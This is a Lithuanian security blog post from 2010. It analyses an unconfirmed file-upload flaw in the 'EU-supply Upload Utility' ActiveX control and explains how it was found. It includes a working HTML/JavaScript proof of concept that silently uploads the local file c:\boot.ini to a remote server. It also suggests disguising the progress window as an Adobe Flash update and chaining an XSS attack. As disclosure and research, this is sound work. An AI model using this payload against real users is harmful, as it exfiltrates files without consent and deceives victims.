Ką slepia ActiveX valdikliai
Kęstas Gudinavičius, 2010-01-09 21:18:23

ActiveX valdikliai gali žymiai praplėsti su jais suderinamų programų galimybes. Pavyzdžiui, praturtinti žiniatinklį interaktyvia animacija, kuomet toks valdiklis yra naudojamas Interneto naršyklėje. Taip pat jie gali kelti rimtą grėsmę vartotojo sistemai, per neišmanymą įsidiegus kenkėjišką ActiveX valdiklį arba aplankius specialiai suformuotą tinklalapį, kuris išnaudoja valdiklyje saugumo specialistų ar įsilaužėlių aptiktą spragą.

Šiame įraše bus nagrinėjamas viename interneto naršyklės priede neseniai aptiktas pažeidžiamumas bei jo aptikimo būdas. Tuo bus norima parodyti, kad nebūtina taikyti grubių metodų, pavyzdžiui, fuzinimo, ieškant ActiveX valdiklių pažeidžiamumų, kartais užtenka tik užmesti akį į funkcijų sąrašą. Prisimenant senus laikus, verta susipažinti su „Tildės Biuro 2006“ ActiveX valdiklio „LocaleUtil Class“ spraga. Šįkart pažeidžiamumas nėra toks rimtas, sėkmingas jo išnaudojimas suteikia galimybę be vartotojo sutikimo įkelti pasirinktą failą į serverį.

Paanalizuokime atsitiktinai pasirinktą ActiveX valdiklį „EU-supply Upload Utility“, kuris yra CVP IS ActiveX įdiegimo paketo sudėtyje. Jeigu kam nors įdomu, tai šiame pakete esantys interneto naršyklės priedai supaprastina failų įkėlimą į web serverį. Susirandame kokį nors COM objektų (ActiveX valdikliai priklauso šiai šeimai) peržiūros įrankį, užtektinai galimybių turi COMView.

 Atsidarome (File->Load Type Library) failą „EUS_UploadMgr.dll“ arba susirandame reikiamą objektą pagal CLSID: 8B7C6520-204F-430A-B4F2-15C52AFF5884 ir peržiūrime visas bibliotekai priklausančias klases(„Edit->View Type Library“).

activex1.png

Mus labiausiai domina „UploadCtrl“ klasės sąsaja „IUploadCtrl“, kurioje aprašytos 37 funkcijos.

activex2.png

Peržiūrėdami funkcijų sąrašą aptinkame funkciją „UploadFile“ su įdomiais parametrais: „bstrFilename“, „bSilent“ ir „bAsync“.

activex3.png

Standartiškai naudojant „EU-supply Upload Utility“ ActiveX valdiklį yra kviečiama funkcija „Upload“, kuri nepriima jokių parametrų, tačiau įkelia vartotojo pasirinktus failus iš šio valdiklio sugeneruotos failų tvarkyklės. Taigi, vartotojas žino ir pats pasirenka įkeliamus failus. Pabandykime  sukurti „UploadFile“ funkciją išnaudojantį kodą ir pažiūrėti  ar bus atsiklausta vartotojo prieš įkeliant failą „c:\boot.ini“.

<html>
<head>
<script language="Javascript">

 function Upload()
 {
   

 var uploadMgr = document.all.UploadMgr;

 uploadMgr.Port = '80';
 uploadMgr.RedirectURL = '';
 uploadMgr.ScheduleUploadURL = '';
 uploadMgr.Server = 'www.critical.lt';
 uploadMgr.SSL = '0';
 uploadMgr.UploadToValue = '';
 uploadMgr.UploadURL = "/upload.aspx";
  
 uploadMgr.UploadFile('c:\\boot.ini',0,0);
   
 }

</script>

<body>
 <object id="UploadMgr" width="0" height="0" classid="CLSID:8B7C6520-204F-430A-B4F2-15C52AFF5884">
  <param name="DisableFolderUpload" value="0">
  <param name="LanguageID" value="8">
  <param name="LanguageURL" value="https://pirkimai.eviesiejipirkimai.lt/xsl/lt/eus/uploadmgr.xsl">
 </object>
 <input type="button" value="Upload" onclick="Upload();">
</body>
</html>

Jeigu pasibandytumėte aukščiau pateiktą kodą, pamatytumėte, kad nereikalaujama jokio patvirtinimo, yra rodomas tik nedidelis įkėlimo progreso langas, kuris akimirksniu užsidaro baigus įkėlimą. Jeigu failas nedidelis nepatyręs vartotojas gali nesuprasti, kas vyksta, tuo labiau, kad įkėlimo progreso lange rodomą tekstą galima pakeisti į ką nors tinkamo, pavyzdžiui, apsimesti „Adobe Flash Player“ atnaujinimu.  Kalbos pasirinkimą nustato parametrai  "LanguageID" ir „LanguageURL“.

 activex4.png

Tikriausiai atkreipėte dėmesį į funkcijos „UploadFile“ parametrą „bSilent“. Pavadinimas leidžia spėti, jog galbūt įmanoma įjungti  „tylu“ failų įkėlimą, tačiau, visų labui, taip nėra. Panašu, kad programuotojai neišbaigė su parametru „bSilent“ susijusios programos dalies, nes yra tikrinama funkcijos GetWindowLong(GetDesktopWindow(), GWL_USERDATA) gražinama reikšmė, kuri neįsivaizduoju kokiomis sąlygomis yra ne NULL.

Pabaigai, verta paminėti pasikeitimus interneto naršyklėje „Internet Explorer 8“ ActiveX valdiklių atžvilgiu. Pagerinta kontrolė leidžia nurodyti, kokios svetainės gali naudoti tam tikrus ActiveX valdiklius, todėl norint sklandžiai  išnaudoti panašius pažeidžiamumus, reikia pasitelkti dar ir XSS ataką.


Komentarai

Vardas:
Komentaras:

Copyright © 2005 - 2010, UAB „Critical Security“